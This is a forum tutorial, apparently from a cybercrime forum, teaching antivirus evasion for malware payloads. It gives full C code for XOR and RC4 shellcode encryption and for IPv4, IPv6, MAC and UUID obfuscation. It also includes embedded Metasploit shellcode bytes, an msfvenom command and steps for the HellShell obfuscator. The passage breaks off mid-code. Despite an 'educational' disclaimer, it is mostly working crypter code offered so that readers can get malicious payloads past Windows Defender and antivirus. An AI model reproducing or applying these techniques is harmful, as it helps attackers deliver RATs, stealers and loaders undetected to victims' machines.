Antivirus evasion expertise part 1

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
I am CryptNeeded member of reputable forum XSS.is i am writing this article for XSS.is forum

the main object of teaching antivirus evasion is to spread knowledge normally on internet we not found much detailed guide for this i will start from zero to intermedidate outcomes after covering all parts users / reader have an strong fundamentals and the users can manipulate avs and wd as well


WHAT WE WILL COVER:
its hard to write what we cover but a roughly idea what we are going to cover in whole articles are basic coding requirements, fundamental of scanning detection system how they work
study about dll , basic encryptions , like xor , rc4 , payload obfuscation ipv4 ipv6 , mac fuscation , uuid fuscation, payload injection , malware binary signing , different ways of thread hijacking , (local thread creating , remote thread creation) apc injection ) this was the syllabous for basic fundamentals for intermediate syllabous i will update on other post

its not final i have mind to add other things as well like backdooring an pe file more focus on process injections etc we will see.


NOTE: I am not responsible for any of your unethical act the only mean of teaching this stuff is to make things clear how this crypters work so you can reports these things to avs or atleast strong your security.
although this stuff was an basic to intermediate will cover much advance and up to date stuff but before going there its batter to clear fundamentals.

BASIC CODING SKILLS:
before deep going in our education its important to cover few coding stuff
- conditional statements
- loops
- structure
- classes
- objects
- methods

these are the basic requirements its ideal to cover this stuff in c , c++ and highly recommended to read window internal structure slowly and gradually its help you alot
now its on you guys you can use any academy to cover this some of you like reading posts and some not the same of other langugaes so its ideal to learn in your comfort way because without this basic fundamental of knowledge you are not going to understand anything.

i will try my best to explain things and i also try to make things short point to point mostly focus on code side.

Detection Mechanism:

detection mechanism mean an partial system which focuses to test behavior of file how it behaving focus on specific conditions on true print red flag and false print green, Now this mechanisms use pre defined rules

TYPES:

Most common detection mechanism is Signature detection :
Hashing Detection:
Heuristic Detection:
Dynamic Heuristic Detection:
Behavior based detection:


DEEP DIVE INTRODUCTION FOR BASIC PAYLOAD ENCRYPTIONS:

INTRODUCTION:

payload encryption we can say an basic mechanism which use by Attackers or hackers or red teamers to encrypt there malicious code (which contains malware in malware any malware like RAT,STEALER,LOADER any C2 ).
The main goal of due and using encrypt is simple to protect there code now attackers use many many encryptions but in this post we are going to cover XOR, AES, RC4

NOTE:

this type of encryption mainly focus to prevent agasint signature detection mecahnism.

XOR:
XOR is an techniquie to encrypt payload or an cryptograhic approch used by majority atttackers to encypt codes.

HOW OR WILL WORK:

basically xor is exclusive or operator or we can say it work on exclusive or logical operator (in simple words add two things and return 1 and if value not match then return 0)

for more clear understanding lets see them using an simple logical table

AB AB
0 0 0
0 1 1
1 0 1
1 1 0

XOR
will be implemented twice but with the same key we will see with proper code:

Now this basic code explain and help you to understand xor encryption:

Код: Скопировать в буфер обмена
Код:
/*
    - pShellcode : payload address
    - sShellcodeSize : size
    - bKey : A single arbitrary byte key for encryp payload
*/
VOID XorByOneKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++){
        pShellcode[i] = pShellcode[i] ^ bKey;
    }
}

Now let see Securing Encryption key:
some detections mecahnisims due brute force to achieve or get key for this reason we need to protect our key
to make process hard for security mechanism to detect or get we will do little big changes in our code and use (i) part of key.

CSS: Скопировать в буфер обмена
Код:
VOID XorByiKeys(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++) {
        pShellcode[i] = pShellcode[i] ^ (bKey + i);
    }
}


Now here is code : make sure it was just an education post so i have just added an encrypt and decrypt function no execution i mean executing payload with simple xor is offcourse not a good idea it will definately trigger warning.
in upcoimg post we also see the executions as well.



Код: Скопировать в буфер обмена
Код:
#include <Windows.h>
#include <stdio.h>

// XOR encryption/decryption using a multi-byte key
VOID XorByInputKey(IN PBYTE pData, IN SIZE_T dataSize, IN PBYTE key, IN SIZE_T keySize) {
    for (size_t i = 0, j = 0; i < dataSize; i++, j = (j + 1) % keySize) {
        pData[i] ^= key[j];
    }
}

unsigned char shellcode[] = "This is very spooky stuff";
unsigned char key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05 };

int main() {
    printf("[i] Original Shellcode: \"%s\"\n", shellcode);

    // Encrypt
    XorByInputKey(shellcode, sizeof(shellcode), key, sizeof(key));
    printf("[i] Encrypted Shellcode: 0x%p\n", shellcode);

    // Decrypt
    XorByInputKey(shellcode, sizeof(shellcode), key, sizeof(key));
    printf("[i] Decrypted Shellcode: \"%s\"\n", (char*)shellcode);

    // Show MessageBox when shellcode executes
    MessageBoxA(NULL, "Shellcode Executed!", "Execution Alert", MB_OK);

    // Wait before exit
    printf("\n[#] Press <Enter> to exit...");
    getchar();
    return 0;
}

WHAT'S HAPPENING IN CODE:

The first section of the code is
#include <Windows.h>
#include <stdio.h>
(windows.h) we used speciall function here in code using messagebox
(stdio.h) used for output functions like printf

NOW THIS WAS AN BASIC XOR ENCRYPTION SECTION:

VOID XorByInputKey(IN PBYTE pData, IN SIZE_T dataSize, IN PBYTE key, IN SIZE_T keySize) {
for (size_t i = 0, j = 0; i < dataSize; i++, j = (j + 1) % keySize) {
pData ^= key[j];
}
}

now here we giving our shellcode :
unsigned char shellcode[] = "This is very spooky stuff";
unsigned char key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05 };

its now main function of code: (you can do changes if you needed)
int main() {
printf(" Original Shellcode: \"%s\"\n", shellcode);
it will print before encrypt i mean it will return original strings

THIS SECTION FOCUS ON ENCRYPTION: (xor will encrypt here)
// Encrypt
XorByInputKey(shellcode, sizeof(shellcode), key, sizeof(key));
printf(" Encrypted Shellcode: 0x%p\n", shellcode);

THIS FOCUSED ON DECRYPT: (now we will again apply xor encryption in previous i said we will use encryption two time but with the same key now it will make sense).
// Decrypt
XorByInputKey(shellcode, sizeof(shellcode), key, sizeof(key));
printf(" Decrypted Shellcode: \"%s\"\n", (char*)shellcode);

and then we have shellcode and few eneter to get from users and then exit


Now Lets Move On RC4:
Now rc4 ebcryption is face secure and cipher based encryption instead of wasting time on theory lets deep dive into code sections:

Код: Скопировать в буфер обмена
Код:
#include <Windows.h>
#include <stdio.h>


typedef struct
{
    unsigned int i;
    unsigned int j;
    unsigned char s[256];

} Rc4Context;




void rc4Init(Rc4Context* context, const unsigned char* key, size_t length)
{
    unsigned int i;
    unsigned int j;
    unsigned char temp;

    //Check parameters
    if (context == NULL || key == NULL)
        return ERROR_INVALID_PARAMETER;

    // Clear context
    context->i = 0;
    context->j = 0;

    // Initialize the S array with identity permutation
    for (i = 0; i < 256; i++)
    {
        context->s[i] = i;
    }

    // S is then processed for 256 iterations
    for (i = 0, j = 0; i < 256; i++)
    {
        // Randomize the permutations using the supplied key
        j = (j + context->s[i] + key[i % length]) % 256;

        // Swap the values of S[i] and S[j]
        temp = context->s[i];
        context->s[i] = context->s[j];
        context->s[j] = temp;
    }

}


void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length) {
    unsigned char temp;

    // Restore context
    unsigned int i = context->i;
    unsigned int j = context->j;
    unsigned char* s = context->s;

    // Encryption loop
    while (length > 0)
    {
        // Adjust indices
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;

        // Swap the values of S[i] and S[j]
        temp = s[i];
        s[i] = s[j];
        s[j] = temp;

        // If the input and output are valid
        if (input != NULL && output != NULL)
        {
            // XOR the input data with the RC4 stream
            *output = *input ^ s[(s[i] + s[j]) % 256];

            // Increment data pointers
            input++;
            output++;
        }

        // Remaining bytes to process
        length--;
    }

    // Save context
    context->i = i;
    context->j = j;
}


unsigned char shellcode[] = {
    "This is very spooky stuff, doing rc4 encryption!"
};

unsigned char key[] = {
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F
};




int main() {
    // Initializing the struct
    Rc4Context ctx = { 0 };
    rc4Init(&ctx, key, sizeof(key));


    // Encryption
    unsigned char* Ciphertext = (unsigned char*)malloc(strlen(shellcode) * sizeof(int)); // Allocating and cleaning [this is the output of the encryption]
    ZeroMemory(Ciphertext, strlen(shellcode) * sizeof(int));
    rc4Cipher(&ctx, shellcode, Ciphertext, strlen(shellcode));
    printf("[i] Ciphertext : 0x%p \n", Ciphertext);
    
    
    printf("[#] Press <Enter> To Decrypt...");
    getchar();


    // Initializing the struct, in case of any errors / changes in the structure's bytes
    rc4Init(&ctx, key, sizeof(key));


    // Decryption
    unsigned char* PlainText = (unsigned char*)malloc(strlen(shellcode) * sizeof(int)); // Allocating and cleaning [this is the output of the decryption]
    ZeroMemory(PlainText, strlen(shellcode) * sizeof(int));
    rc4Cipher(&ctx, Ciphertext, PlainText, strlen(shellcode));

    // Printing the shellcode's string
    printf("[i] PlainText : \"%s\" \n", (char*)PlainText);



    // Exit
    printf("[#] Press <Enter> To Quit ...");
    getchar();
    free(Ciphertext);
    free(PlainText);
    return 0;

}

I have used Comments sections for users but still i will define a little bit more here:
NOW RC4 code was much bigger so i will not paste code here i will mostly focus to explain what we are doing in above code:

in first section of code we rc4 context: structure will store 2 variables like i and j

then we have rc3 key algortihm :
it first initilizing array and then shuffle or randomize the array using key i mean the provided key in code users can change according to there code.

then we have an rc4 encryption function

  • it will generate rc4 (ksa)
  • swap values into random byte sections

then we have shellcode defining section:

and we have then our main function here we will initilizing the value with our key and allocation of memory the output we will get is encrypted ciphertext

then same we have an decryption section

at the end clean print and exit


IP V6 / IPV4 OBFUSCATION:
now at this stage your guys have an strong fundamentals and you guys know an basic ways for evade static mecahnisims:
now in ip v4 or v6 encryption normally encrypt shellcode bytes into ipv6 or ipv4 strings.

Here is the code i will provide both obfuscation code and also i will introduce one public tool which directly do this for you
in upcoming section where we ill use shellcode execution via injection we will use this encryptions so make sure to read and understand concepts properly:

I will explain this code using comments on evry section:

Код: Скопировать в буфер обмена
Код:
#include <Windows.h>
#include <stdio.h>

// Disable error 4996 (caused by sprint)
#pragma warning (disable:4996)


char* GenerateIpv4(int a, int b, int c, int d) {
    unsigned char Output[32];

    // Creating the IPv4 address and saving it to the 'Output' variable
    sprintf(Output, "%d.%d.%d.%d", a, b, c, d);

    // Optional: Print the 'Output' variable to the console
    // printf("[i] Output: %s\n", Output);

    return (char*)Output;
}


// Generate the IPv4 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {

    // If the shellcode buffer is null or the size is not a multiple of 4, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0){
        return FALSE;
    }
    printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));
    
    // We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 4.
    int c = 4, counter = 0;
    char* IP = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {

        // Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
        if (c == 4) {
            counter++;

            // Generating the IPv4 address from 4 bytes which begin at i until [i + 3]
            IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);

            if (i == ShellcodeSize - 4) {
                // Printing the last IPv4 address
                printf("\"%s\"", IP);
                break;
            }
            else {
                // Printing the IPv4 address
                printf("\"%s\", ", IP);
            }

            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 8 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}


// x64 calc metasploit shellcode {272 bytes}
unsigned char rawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};



int main() {

    if (!GenerateIpv4Output(rawData, sizeof(rawData))) {
        // if failed, that is sizeof(rawData) isn't a multiple of 4
        return -1;
    }

    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}

ipv6 obfuscation code:


Код: Скопировать в буфер обмена
Код:
#include <Windows.h>
#include <stdio.h>

// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)



// Function takes in 16 raw bytes and returns them in an IPv6 address string format
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {

    // Each IPv6 segment is 32 bytes
    char Output0[32], Output1[32], Output2[32], Output3[32];

    // There are 4 segments in an IPv6 (32 * 4 = 128)
    char result[128];

    // Generating output0 using the first 4 bytes
    sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);

    // Generating output1 using the second 4 bytes
    sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);

    // Generating output2 using the third 4 bytes
    sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);

    // Generating output3 using the last 4 bytes
    sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);

    // Combining Output0,1,2,3 to generate the IPv6 address
    sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);

    // Optional: Print the 'result' variable to the console
    // printf("[i] result: %s\n", (char*)result);

    return (char*)result;
}


// Generate the IPv6 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
    // If the shellcode buffer is null or the size is not a multiple of 16, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0){
        return FALSE;
    }
    printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));
  
    // We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 16.
    int c = 16, counter = 0;
    char* IP = NULL;
  
    for (int i = 0; i < ShellcodeSize; i++) {
        // Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
        if (c == 16) {
            counter++;

            // Generating the IPv6 address from 16 bytes which begin at i until [i + 15]
            IP = GenerateIpv6(
                pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
                pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
                pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
                pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
            );
            if (i == ShellcodeSize - 16) {

                // Printing the last IPv6 address
                printf("\"%s\"", IP);
                break;
            }
            else {
                // Printing the IPv6 address
                printf("\"%s\", ", IP);
            }
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 3 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}




// x64 calc Msfvenom shellcode {272 bytes}
unsigned char rawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};



int main() {

    if (!GenerateIpv6Output(rawData, sizeof(rawData))) {
        // if failed, that is sizeof(rawData) isnt multiple of 16
        return -1;
    }

    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}

Thanks to NUL0x4C for creating hellshell tool :
you can download this tool from here : github

Download there compiled version i mean exe you get on there main page.
put them in folder where is your shellcode bin
we are using here msfvenom generated text for this

msfvenom -p windows/x64/messagebox TITLE="Hello" TEXT="This is a test message" ICON=INFORMATION -f raw > payload.bin

copy your bin and place your bin and hellshell.exe in same folder
then open cmd type cd and give paste folder path where your bin and hellshell.exe is

then >HellShell.exe C:\Users\reddragon\Downloads\hell\payload.bin ipv4 (here ipv4 is mean i need ipv4 obfuscation currently hellshell public version support ipv4 ipv6 mac obfuscation)

when you hit enter it will generated ipv4 encrypted file like xyzz.cpp open them in notepad you will see like

ipv4.png




now in past which i provided you xor and rc4 encryptions lets compile them you can compile with any compiler
and let see there results again and again static mechanism we will use your msfvenom generated payload


newww.png



Now let see there detections for static behavior

wd.png




Lets also talk about MACfuction:
Last time we converted our shellcode bytes into ipv4 obfuscated strings this was also similiar way but convert into mac address.


well implementation and usage of MACfusction is similiar like we did in previous. but in MAC address is develop by 6 byte it means our shellcode was multiple of 6.


Код: Скопировать в буфер обмена
Код:
// Function takes in 6 raw bytes and returns them in a MAC address string format
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
    char Output[64];

    // Creating the MAC address and saving it to the 'Output' variable
    sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d, e, f);

    // Optional: Print the 'Output' variable to the console
    // printf("[i] Output: %s\n", Output);

    return (char*)Output;
}

// Generate the MAC output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {

    // If the shellcode buffer is null or the size is not a multiple of 6, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 6 != 0){
        return FALSE;
    }
    printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));

    // We will read one shellcode byte at a time, when the total is 6, begin generating the MAC address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 6.
    int c = 6, counter = 0;
    char* Mac = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {

        // Track the number of bytes read and when they reach 6 we enter this if statement to begin generating the MAC address
        if (c == 6) {
            counter++;
        
            // Generating the MAC address from 6 bytes which begin at i until [i + 5]
            Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);
        
            if (i == ShellcodeSize - 6) {

                // Printing the last MAC address
                printf("\"%s\"", Mac);
                break;
            }
            else {
                // Printing the MAC address
                printf("\"%s\", ", Mac);
            }
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 6 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

And last lets also cover uuidFuscation :
uuid fuscation is also know as Universally Unique Identifer. but UUID contains s 36 char alphabatic and numeric strings.

Converting shellcode into uuid is not an simple approch like we doing in other encryptions they are much simple in the difference of UUID.

- UUID is made up of 16 byte means this time our shellcode will be multiple by 16.


Код: Скопировать в буфер обмена
Код:
#include <Windows.h>
#include <stdio.h>


// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)




// Function takes in 16 raw bytes and returns them in a UUID string format
char* GenerateUUid(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {

    // Each UUID segment is 32 bytes
    char Output0[32], Output1[32], Output2[32], Output3[32];

    // There are 4 segments in a UUID (32 * 4 = 128)
    char result[128];

    // Generating output0 from the first 4 bytes
    sprintf(Output0, "%0.2X%0.2X%0.2X%0.2X", d, c, b, a);

    // Generating output1 from the second 4 bytes
    sprintf(Output1, "%0.2X%0.2X-%0.2X%0.2X", f, e, h, g);

    // Generating output2 from the third 4 bytes
    sprintf(Output2, "%0.2X%0.2X-%0.2X%0.2X", i, j, k, l);

    // Generating output3 from the last 4 bytes
    sprintf(Output3, "%0.2X%0.2X%0.2X%0.2X", m, n, o, p);

    // Combining Output0,1,2,3 to generate the UUID
    sprintf(result, "%s-%s-%s%s", Output0, Output1, Output2, Output3);

    //printf("[i] result: %s\n", (char*)result);
    return (char*)result;
}



// Generate the UUID output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateUuidOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
    // If the shellcode buffer is null or the size is not a multiple of 16, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
        return FALSE;
    }
    printf("char* UuidArray[%d] = { \n\t", (int)(ShellcodeSize / 16));

    // We will read one shellcode byte at a time, when the total is 16, begin generating the UUID string
    // The variable 'c' is used to store the number of bytes read. By default, starts at 16.
    int c = 16, counter = 0;
    char* UUID = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {
        // Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the UUID string
        if (c == 16) {
            counter++;

            // Generating the UUID string from 16 bytes which begin at i until [i + 15]
            UUID = GenerateUUid(
                pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
                pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
                pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
                pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
            );
            if (i == ShellcodeSize - 16) {

                // Printing the last UUID string
                printf("\"%s\"", UUID);
                break;
            }
            else {
                // Printing the UUID string
                printf("\"%s\", ", UUID);
            }
            c = 1;
            // Optional: To beautify the output on the console
            if (counter % 3 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}



// x64 calc metasploit shellcode {272 bytes}
unsigned char rawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};




int main() {
   
   
    if (!GenerateUuidOutput(rawData, sizeof(rawData))) {
        // if failed, that is sizeof(rawData) isnt multiple of 16
